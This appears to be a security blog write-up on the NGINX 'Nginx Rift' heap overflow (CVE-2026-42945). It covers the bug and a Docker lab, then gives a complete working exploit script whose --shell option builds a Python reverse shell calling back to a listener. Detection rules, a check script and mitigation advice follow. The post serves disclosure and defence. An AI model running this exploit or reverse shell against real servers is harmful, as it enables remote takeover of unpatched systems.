Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

Nginx Rift (CVE-2026-42945): RCE via heap overflow in ngx_http_rewrite_module

Leer en espanol
Nginx Rift (CVE-2026-42945): RCE via heap overflow in ngx_http_rewrite_module

Table of contents

Nginx Rift is a critical heap buffer overflow vulnerability in the NGINX ngx_http_rewrite_module that allows remote code execution (RCE) without authentication. ===

What is Nginx Rift (CVE-2026-42945)

Nginx Rift is a critical vulnerability heap buffer overflow in the module ngx_http_rewrite_module of NGINX that allows remote code execution (RCE) without authentication. The bug was introduced in 2008 (version 0.6.27) and was dormant for 18 years until its autonomous discovery by the DepthFirst platform in April 2026.

The exploit abuses an inconsistency in the NGINX scripting engine: when a directive rewrite contains a ? in replacement string followed by a directive set that references a capture group, the buffer size calculation uses a state (is_args=0) while the copy uses another (is_args=1), causing ngx_escape_uri write more bytes than reserved.

Key data

FieldWorth
CVECVE-2026-42945
CVSS v4.09.2 (Critical)
CVSS v3.18.1 (High)
CWECWE-122 (Heap-based Buffer Overflow)
DiscovererDepthFirst AI (Zhenpeng "Leo" Lin)
VendorF5/NGINX
PublicationMay 13, 2026
Affected versionsNGINX Open Source 0.6.27 – 1.30.0
FixNGINX 1.31.0 / 1.30.1 / NGINX Plus R36 P4
PrerequisiteConfiguration with rewrite + set and nameless captures
ImpactRCE as NGINX worker (usually nobody/www-data)

Affected products

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • NGINX Instance Manager: 2.16.0 – 2.21.1
  • F5 WAF for NGINX: 5.9.0 – 5.12.1
  • NGINX App Protect WAF: 4.9.0 – 4.16.0 and 5.1.0 – 5.8.0
  • NGINX Gateway Fabric: 1.3.0 – 1.6.2 and 2.0.0 – 2.5.1
  • NGINX Ingress Controller: 3.5.0 – 3.7.2, 4.0.0 – 4.0.1 and 5.0.0 – 5.4.1

How the bug works

The NGINX scripting engine (two passes)

NGINX compiles the directives rewrite and set in internal operations that are executed in two passes:

  1. Track 1 (length): calculates how many bytes the destination buffer needs
  2. Pass 2 (copy): writes the data to the reserved buffer

If the engine state changes between both passes, memory corruption occurs.

The flag is_args that is never cleaned

When replacement chain rewrite contains a ?, the function ngx_http_script_start_args_code establishes e->is_args = 1 in the main engine and never reset it.

When the directive set later you need to calculate the buffer size for the capture $1, create a temporary sub-engine (le) initialized to zeros:

c
ngx_http_script_engine_t le;
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
  • Pass 1 (sub-engine le): le.is_args = 0 → returns the length raw of the capture
  • Pass 2 (main engine e): e->is_args = 1 → call ngx_escape_uri with NGX_ESCAPE_ARGS

Each escapeable character (+, %, &) expands from 1 byte to 3 bytes. The buffer was reserved for N bytes but N + 2*M bytes are written (where M = number of escapeable characters in the URI).

Vulnerable configuration

NGINX
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

Three necessary conditions:

  1. rewrite with ? in the replacement chain
  2. Capture group unnamed ($1, $2) — you capture them with names ($user_id) are NOT vulnerable
  3. Directive set, rewrite either if later than reference the capture

From heap overflow to RCE

The exploit uses heap feng shui cross-request To control the memory layout:

  1. POST Spray: send POST bodies with a structure ngx_pool_cleanup_s false that points to system() + command
  2. Attacker connection: send URI with padding + that when escaping overflows the heap
  3. Victim connection: its memory pool is adjacent in the heap; overflow overwrites the pointer cleanup
  4. Trigger: close the victim connection → ngx_destroy_pool() iterate the list cleanup → execute system(cmd)

Thanks to the multi-process architecture of NGINX (workers forked from the master), the heap layout is deterministic between restarts — each crash simply respawns an identical worker, allowing retries.

reproduction laboratory

Lab architecture

TERRAFORM
┌─────────────────────────────────────────────────┐
│  Docker container (Ubuntu 22.04)                │
│                                                 │
│  ┌─────────────────────────────────────┐        │
│  │  NGINX 1.30.0 (compilado de fuente) │        │
│  │  - ngx_http_rewrite_module          │        │
│  │  - ASLR deshabilitado (setarch -R)  │        │
│  │  - Puerto 19321                     │        │
│  └─────────────────────────────────────┘        │
│                                                 │
│  ┌──────────────────────────┐                   │
│  │  Backend Python :19323   │                   │
│  │  (delay configurable)    │                   │
│  └──────────────────────────┘                   │
└─────────────────────────────────────────────────┘
         │
    Puerto 19321 expuesto
         │
┌─────────────────────┐
│  Host (atacante)    │
│  poc.py --shell     │
└─────────────────────┘

Requirements

  • Docker + Docker Compose
  • python 3
  • netcat (for reverse shell)

Lab files

Dockerfile (env/Dockerfile):

DOCKERFILE
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && apt-get install -y \
    gcc make libpcre2-dev libssl-dev zlib1g-dev \
    util-linux python3 curl git \
    && rm -rf /var/lib/apt/lists/*

RUN git clone https://github.com/nginx/nginx.git /nginx-src \
    && cd /nginx-src && git checkout 98fc3bb78

RUN cd /nginx-src && ./auto/configure \
    --builddir=build \
    --with-cc-opt='-g -O2 -fno-omit-frame-pointer' \
    --with-ld-opt='-Wl,-z,relro -Wl,-z,now' \
    --with-http_ssl_module --with-http_v2_module \
    && make -j$(nproc)

WORKDIR /app
COPY nginx.conf server.py entrypoint.sh ./
RUN chmod +x entrypoint.sh && mkdir -p logs tmp

ENTRYPOINT ["/app/entrypoint.sh"]
EXPOSE 19321

docker-compose.yml (env/docker-compose.yml):

YAML
services:
  nginx:
    build: .
    cap_add:
      - SYS_PTRACE
    security_opt:
      - seccomp=unconfined
    init: true
    ports:
      - "19321:19321"
    tty: true
    stdin_open: true

nginx.conf (vulnerable configuration):

NGINX
daemon off;
worker_processes 1;
error_log logs/error.log;
pid tmp/nginx.pid;
worker_rlimit_core 500M;
working_directory tmp;

events {
    worker_connections 1024;
}

http {
    access_log off;
    client_body_temp_path tmp;
    proxy_temp_path tmp;
    fastcgi_temp_path tmp;
    uwsgi_temp_path tmp;
    scgi_temp_path tmp;

    upstream backend {
        server 127.0.0.1:19323;
    }

    server {
        listen 19322;
        location / { return 200 "backend ok\n"; }
    }

    server {
        listen 19321;
        request_pool_size 7920;
        connection_pool_size 4096;
        client_header_buffer_size 2048;

        # La combinacion rewrite + set dispara el bug:
        # - rewrite establece e->is_args = 1 (por el '?' en el reemplazo)
        # - set $original_endpoint $1 reserva buffer con longitud raw del
        #   capture, pero la copia escapa los caracteres (3x para '+')
        location ~ ^/api/(.*)$ {
            rewrite ^/api/(.*)$ /internal?migrated=true;
            set $original_endpoint $1;
        }

        location /internal {
            internal;
            proxy_pass http://backend;
            proxy_read_timeout 60s;
        }

        # Spray: cuerpo POST almacenado en pool memory (datos binarios, NUL permitido)
        location /spray {
            client_body_in_single_buffer on;
            proxy_pass http://backend;
            proxy_read_timeout 60s;
        }

        location / { return 200 "ok\n"; }
    }
}

entrypoint.sh:

BASH
#!/bin/bash
cd /app
python3 server.py &>/dev/null &
# setarch -R deshabilita ASLR para el proceso lanzado (direcciones deterministicas)
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf

server.py (backend with configurable delay):

PYTHON
#!/usr/bin/env python3
"""Simple HTTP backend with configurable delay via X-Delay header."""
import http.server
import time
import socketserver

class BackendHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        delay = float(self.headers.get('X-Delay', '5'))
        time.sleep(delay)
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'backend ok\n')

    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        self.rfile.read(length)
        delay = float(self.headers.get('X-Delay', '5'))
        time.sleep(delay)
        self.send_response(200)
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'backend ok\n')

    def log_message(self, format, *args):
        pass

socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 19323), BackendHandler) as httpd:
    print("Backend on :19323")
    httpd.serve_forever()

Exploit (poc.py)

PYTHON
#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys

BODY_LEN = 4000
N_SPRAY = 20

SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
      0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
    if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
        SAFE.add(_b)

HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70

PREREAD_HEAP_OFFSETS = [
    0x05a427, 0x060e67,
    0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
    0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
    0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
    0x103847, 0x108657, 0x10d467,
]


def addr_is_safe(addr):
    return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))


def make_body(cmd, data_addr):
    fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
    cmd_bytes = cmd.encode('utf-8') + b'\x00'
    payload = fake_struct + cmd_bytes
    if len(payload) > BODY_LEN:
        print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
        sys.exit(1)
    return payload + b'\x41' * (BODY_LEN - len(payload))


def wait_alive(host, port, timeout=30):
    for _ in range(timeout):
        try:
            s = socket.create_connection((host, port), timeout=2)
            s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
            s.recv(100)
            s.close()
            return True
        except Exception:
            time.sleep(1)
    return False


def attempt(host, port, target_bytes, body):
    sprays = []
    for i in range(N_SPRAY):
        try:
            s = socket.create_connection((host, port), timeout=5)
            req = (
                b"POST /spray HTTP/1.1\r\n"
                b"Host: l\r\n"
                b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
                b"X-Delay: 60\r\n"
                b"Connection: close\r\n"
                b"\r\n"
                + body
            )
            s.sendall(req)
            sprays.append(s)
        except Exception:
            break
        time.sleep(0.005)
    time.sleep(0.2)

    try:
        a = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
        v = socket.create_connection((host, port), timeout=5)
        time.sleep(0.02)
    except Exception:
        for s in sprays:
            try:
                s.close()
            except Exception:
                pass
        return False

    payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
    a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
               f"Host:localhost\r\n").encode("latin-1"))
    time.sleep(0.05)
    v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
    time.sleep(0.05)
    a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
    time.sleep(0.2)

    v.close()
    time.sleep(0.1)

    crashed = False
    try:
        a.sendall(b"X-Ping:1\r\n")
        a.settimeout(0.2)
        data = a.recv(1)
        if not data:
            crashed = True
    except socket.timeout:
        try:
            check_sock = socket.create_connection((host, port), timeout=0.2)
            check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
            check_data = check_sock.recv(10)
            check_sock.close()
            if not check_data:
                crashed = True
            else:
                crashed = False
        except Exception:
            crashed = True
    except (ConnectionResetError, BrokenPipeError, OSError):
        crashed = True

    for s in sprays:
        try:
            s.close()
        except Exception:
            pass
    try:
        a.close()
    except Exception:
        pass
    return crashed


def main():
    parser = argparse.ArgumentParser(
        description="nginx rift RCE exploit (ASLR disabled)"
    )
    parser.add_argument("--host", default="127.0.0.1",
                        help="target host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=19321,
                        help="target port (default: 19321)")
    parser.add_argument("--cmd",
                        help="shell command to execute via system()")
    parser.add_argument("--shell", action="store_true",
                        help="execute a reverse shell back to the attacker")
    parser.add_argument("--listen-port", type=int, default=1337,
                        help="port to listen on for reverse shell (default: 1337)")
    parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
                        help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
    args = parser.parse_args()

    if not args.cmd and not args.shell:
        parser.error("either --cmd or --shell must be specified")
    if args.cmd and args.shell:
        parser.error("cannot specify both --cmd and --shell")

    host = args.host
    port = args.port
    
    if args.shell:
        local_ip = args.listen_ip
        cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
        print(f"[*] Generated reverse shell command: {cmd}")
    else:
        cmd = args.cmd

    if args.shell:
        import threading
        def listen_shell():
            print(f"[*] Listening for reverse shell on port {args.listen_port}...")
            import subprocess
            try:
                subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
            except Exception:
                print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
                
        t = threading.Thread(target=listen_shell)
        t.daemon = True
        t.start()
        time.sleep(1)

    candidates = []
    for i, off in enumerate(PREREAD_HEAP_OFFSETS):
        addr = HEAP_BASE + off
        if addr_is_safe(addr):
            candidates.append((i, addr))

    primary_addr = candidates[0][1]
    data_addr = primary_addr + 24
    body = make_body(cmd, data_addr)

    print(f"[*] Waiting for nginx on {host}:{port}...")
    if not wait_alive(host, port):
        print("[!] nginx not responding")
        return 1
    print("[+] Connected.")

    TRIES_PER_CANDIDATE = 10

    for i, addr in candidates:
        target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])

        for t in range(TRIES_PER_CANDIDATE):
            if not wait_alive(host, port, timeout=10):
                time.sleep(2)
                if not wait_alive(host, port, timeout=10):
                    print("    server not recovering, aborting")
                    return 1

            crashed = attempt(host, port, target, body)
            if crashed:
                if args.shell:
                    try:
                        while True:
                            time.sleep(1)
                    except KeyboardInterrupt:
                        pass
                else:
                    print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
                      f"crashed — system(\"{cmd}\") executed")
                print(f"[+] Done.")
                return 0
            time.sleep(0.3)

        print("[+] All candidates tried — no crash detected.")
    return 0


if __name__ == "__main__":
    sys.exit(main())

Lab deployment

BASH
# Clonar el repositorio del PoC
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift.git
cd Nginx-Rift

# Construir el contenedor (compila NGINX desde fuente, ~5 min)
./setup.sh

# Iniciar el servidor vulnerable
docker compose -f env/docker-compose.yml up

Run the exploit

BASH
# Terminal 1: servidor ya corriendo con docker compose up

# Terminal 2: ejecutar comando arbitrario
python3 poc.py --cmd 'id > /tmp/pwned'

# Verificar ejecucion
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

# O bien: obtener reverse shell
# Terminal 2: escuchar
nc -lvnp 1337

# Terminal 3: lanzar exploit con shell
python3 poc.py --shell --listen-ip 172.17.0.1 --listen-port 1337

Expected output of the exploit:

CODE
[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed — system("id > /tmp/pwned") executed
[+] Done.

Check the RCE

BASH
# Comprobar que el fichero se creo dentro del contenedor
docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Clean the lab

BASH
docker compose -f env/docker-compose.yml down --rmi all

How exploitation works step by step

1. Heap spray with POST bodies

The attacker opens 20 simultaneous connections by sending POST /spray with a body of 4000 bytes. This body contains a structure ngx_pool_cleanup_s false:

CODE
Offset 0x00: SYSTEM_ADDR (8 bytes) — puntero a system() en libc
Offset 0x08: DATA_ADDR   (8 bytes) — puntero al comando (offset +24 del spray)
Offset 0x10: 0x00        (8 bytes) — next = NULL (fin de lista)
Offset 0x18: "id > /tmp/pwned\0" — el comando a ejecutar
Offset 0x2X: padding 'A' hasta 4000 bytes

These POST bodies may contain null bytes (unlike URIs), allowing arbitrary pointers to be injected.

2. Opening of attacker + victim connections

Two TCP connections are opened:

  • Connection A (attacker): the malicious URI will be sent
  • V connection (victim): your pool will be the target of the overflow

The opening order determines the adjacency in the heap.

3. Sending URI with padding +

The URI sent to connection A has the form:

CODE
GET /api/AAAA...AAA++++...++++<target_bytes> HTTP/1.1
  • 349 bytes A (safe padding, no leaks)
  • 969 bytes + (each + expands to %2B = 3 bytes → overflow of 969*2 = 1938 bytes)
  • 6 bytes of the target pointer (spray address in the heap, filtered to be URI-safe)

4. Overflow and trigger

When the URI is processed:

  1. rewrite establishes e->is_args = 1
  2. set $original_endpoint $1 calculates buffer of ~1318 bytes (raw length)
  3. Escaped copy writes ~3256 bytes → ~1938 byte overflow over the adjacent pool
  4. The last 6 bytes overwrite the pointer cleanup from the victim pool
  5. By closing the V connection, ngx_destroy_pool() execute cleanup->handler(cleanup->data)system("id > /tmp/pwned")

5. Heap determinism

NGINX uses fork() to create workers. All workers have exactly the same memory layout (copy of the master). If an attempt fails and the worker crashes, the master respawns an identical one. This allows:

  • Retry without changing offsets
  • Spray position bruteforce (20 pre-calculated candidates)

Note: PoC requires ASLR disabled (setarch -R). With ASLR active, a prior address leak would be necessary (possible via the same fork architecture, byte-by-byte).

Attack detection

Network indicators

  • Multiple requests POST /spray fixed size (4000 bytes) in rapid succession
  • Extremely long URIs (~1300+ characters) with repetitive strings of + to endpoints type /api/...
  • Partial TCP connections abruptly closing after POST spray

ModSecurity/WAF rules

APACHE
# Detectar URIs con exceso de caracteres + (indicador de heap spray)
SecRule REQUEST_URI "@rx \+{100,}" \
    "id:100600,phase:1,deny,status:403,\
    msg:'CVE-2026-42945: Possible Nginx Rift exploit attempt (excessive + chars in URI)'"

# Detectar requests extremadamente largas a /api/
SecRule REQUEST_URI "@rx ^/api/.{1000,}" \
    "id:100601,phase:1,deny,status:403,\
    msg:'CVE-2026-42945: Abnormally long API path (possible overflow attempt)'"

Detection via access log

If access log is enabled, look for patterns:

BASH
# Buscar URIs sospechosas en logs
grep -P '/api/.{1000,}' /var/log/nginx/access.log
grep -P '\+{50,}' /var/log/nginx/access.log

YARA rule

YARA
rule NginxRift_CVE_2026_42945 {
    meta:
        description = "Detecta el exploit Nginx Rift (CVE-2026-42945)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-42945"
        severity = "critical"

    strings:
        $s1 = "nginx rift" ascii nocase
        $s2 = "ngx_escape_uri" ascii
        $s3 = "NGX_ESCAPE_ARGS" ascii
        $s4 = "ngx_http_script_copy_capture" ascii
        $s5 = "PREREAD_HEAP_OFFSETS" ascii
        $s6 = "make_body" ascii
        $s7 = "heap feng shui" ascii nocase
        $s8 = "depthfirst" ascii nocase
        $s9 = "/spray" ascii
        $s10 = "setarch" ascii

        // Patron de spray: struct.pack con SYSTEM_ADDR
        $pack = { 70 0d 05 00 00 00 00 00 }

    condition:
        ($s1 and $s9) or
        ($s5 and $s6) or
        ($s2 and $s5) or
        ($s9 and $s10 and $s6) or
        (4 of ($s*)) or
        $pack
}

Wazuh Rules

XML
<group name="nginx-rift,exploit,cve-2026-42945">

  <!-- Deteccion de URIs extremadamente largas con + repetidos -->
  <rule id="100530" level="14">
    <if_sid>31100</if_sid>
    <regex type="pcre2">/api/.{1000,}\+{100,}</regex>
    <description>CVE-2026-42945: Posible explotacion Nginx Rift (URI con + excesivos)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>exploit_attempt,web,</group>
  </rule>

  <!-- Deteccion de multiples POST /spray en corto tiempo -->
  <rule id="100531" level="12" frequency="10" timeframe="5">
    <if_matched_sid>31100</if_matched_sid>
    <regex type="pcre2">POST /spray</regex>
    <description>CVE-2026-42945: Heap spray detectado (multiples POST /spray)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>exploit_attempt,web,</group>
  </rule>

  <!-- Worker crash loop -->
  <rule id="100532" level="13">
    <if_sid>31100</if_sid>
    <match>worker process</match>
    <match>exited on signal 11</match>
    <description>CVE-2026-42945: NGINX worker crash (posible explotacion Nginx Rift)</description>
    <mitre>
      <id>T1499.004</id>
    </mitre>
    <group>exploit_attempt,service_availability,</group>
  </rule>

</group>

Quick detection script

BASH
#!/bin/bash
# check_nginx_rift.sh - Verificar estado de CVE-2026-42945

echo "=== CVE-2026-42945 (Nginx Rift) - Check ==="
echo ""

VULN=0

# 1. Verificar version de NGINX
NGINX_BIN=$(which nginx 2>/dev/null || echo "/usr/sbin/nginx")
if [ -x "$NGINX_BIN" ]; then
    VERSION=$($NGINX_BIN -v 2>&1 | grep -oP 'nginx/\K[0-9.]+')
    echo "[INFO] Version: nginx/$VERSION"
    
    # Comparar version (vulnerable: <= 1.30.0)
    if printf '%s\n' "1.30.0" "$VERSION" | sort -V | head -1 | grep -q "^$VERSION$"; then
        if [ "$VERSION" != "1.31.0" ] && [ "$VERSION" != "1.30.1" ]; then
            echo "[VULNERABLE] Version $VERSION es vulnerable (< 1.30.1)"
            VULN=1
        fi
    else
        echo "[OK] Version $VERSION es >= 1.31.0 (parcheada)"
    fi
else
    echo "[INFO] NGINX no encontrado en el sistema"
fi

# 2. Buscar configuracion vulnerable
echo ""
echo "Buscando configuraciones vulnerables..."
CONF_DIRS="/etc/nginx /usr/local/nginx/conf /opt/nginx/conf"
for dir in $CONF_DIRS; do
    if [ -d "$dir" ]; then
        # Buscar rewrite con ? seguido de set con $1/$2
        MATCHES=$(grep -rn 'rewrite.*\$.*?.*' "$dir" 2>/dev/null | grep -v '#')
        if [ -n "$MATCHES" ]; then
            echo "  [ALERTA] Posible configuracion vulnerable en $dir:"
            echo "$MATCHES" | while read line; do
                echo "    $line"
            done
            
            # Verificar si usa captures sin nombre ($1, $2, etc)
            if echo "$MATCHES" | grep -qP '\$[0-9]+'; then
                echo "  [VULNERABLE] Usa captures sin nombre (\$1, \$2) con ? en rewrite"
                VULN=2
            fi
        fi
    fi
done

# 3. Verificar si ASLR esta habilitado
echo ""
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ "$ASLR" = "2" ]; then
    echo "[MITIGADO] ASLR completamente habilitado (randomize_va_space=2)"
elif [ "$ASLR" = "1" ]; then
    echo "[PARCIAL] ASLR parcial (randomize_va_space=1)"
elif [ "$ASLR" = "0" ]; then
    echo "[CRITICO] ASLR deshabilitado - explotacion trivial"
    VULN=2
fi

# 4. Verificar crashes recientes de workers
echo ""
echo "Buscando crashes de workers NGINX..."
if [ -f /var/log/nginx/error.log ]; then
    CRASHES=$(grep -c "exited on signal 11" /var/log/nginx/error.log 2>/dev/null)
    if [ "$CRASHES" -gt "0" ]; then
        echo "  [ALERTA] $CRASHES crashes de worker encontrados (signal 11 = SIGSEGV)"
    else
        echo "  [OK] No se detectan crashes de workers"
    fi
fi

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Configuracion vulnerable detectada"
    echo "          Accion inmediata: usar named captures en lugar de \$1/\$2"
    echo "          Solucion definitiva: actualizar a NGINX >= 1.31.0"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Version vulnerable detectada"
    echo "          Verificar configuracion manualmente"
    echo "          Solucion: actualizar a NGINX >= 1.31.0"
else
    echo "[OK] Sistema no vulnerable o no aplica"
fi

Workaround: use named captures

If you cannot update immediately, mitigation is replace unnamed captures with named captures in all directives rewrite:

Vulnerable:

NGINX
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

Mitigated:

NGINX
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Find and fix all occurrences:

BASH
# Encontrar todas las configuraciones potencialmente vulnerables
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/ 2>/dev/null

# Verificar que no quedan captures sin nombre despues de corregir
nginx -t && nginx -s reload

What breaks this:

  • Nothing functional — named captures are semantically equivalent
  • It only requires renaming $1, $2 by descriptive names

Definitive solution: update NGINX

ProductPatched version
NGINX Open Source1.31.0 or 1.30.1
NGINX PlusR36 P4 / R32 P6
BASH
# Ubuntu/Debian
apt update && apt install nginx

# CentOS/RHEL
yum update nginx

# Verificar version
nginx -v
# nginx version: nginx/1.31.0

# Reiniciar
systemctl restart nginx

The patch fixes the bug by resetting e->is_args correctly between policy evaluations, ensuring that the length calculation pass and the copy pass use the same escape state.

Timeline

DateEvent
2008Bug introduced in NGINX 0.6.27
April 18, 2026DepthFirst analyzes NGINX source code
April 21, 2026Report to NGINX via GitHub Security Advisory
April 24, 2026NGINX confirms 4 of 5 reported issues
April 28, 2026DepthFirst reports having functional RCE PoC
May 5, 2026Shared PoC with NGINX + demo video
May 13, 2026F5 publishes advisory + patch (NGINX 1.31.0 / 1.30.1)
May 14, 2026DepthFirst publishes technical writeup and PoC

References

Comments